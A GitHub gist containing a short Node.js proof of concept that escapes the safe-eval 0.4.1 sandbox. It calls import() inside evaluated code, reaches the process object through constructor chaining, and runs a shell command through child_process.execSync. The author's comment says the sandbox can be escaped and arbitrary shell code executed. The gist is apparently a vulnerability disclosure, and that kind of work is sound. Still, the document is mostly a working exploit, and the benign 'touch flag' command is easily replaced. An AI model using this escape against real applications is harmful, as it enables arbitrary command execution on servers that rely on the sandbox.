Skip to content

Instantly share code, notes, and snippets.

@seongil-wi
Last active March 26, 2023 08:22
Show Gist options
  • Select an option

  • Save seongil-wi/2db6cb884e10137a93132b7f74879cce to your computer and use it in GitHub Desktop.

Select an option

Save seongil-wi/2db6cb884e10137a93132b7f74879cce to your computer and use it in GitHub Desktop.
// node version: 19.8.1
// safe-eval version: 0.4.1
var safeEval = require('safe-eval')
let code = `
(function() {
let ret = import("XXX");
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
})()
`
safeEval(code);
const polluted_result = {}["polluted"];
console.log(polluted_result);
@seongil-wi

Copy link
Copy Markdown
Author

Description:
Sandbox can be escaped by prototype pollution by calling import.
Also, we can execute arbitrary shell code using process module.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment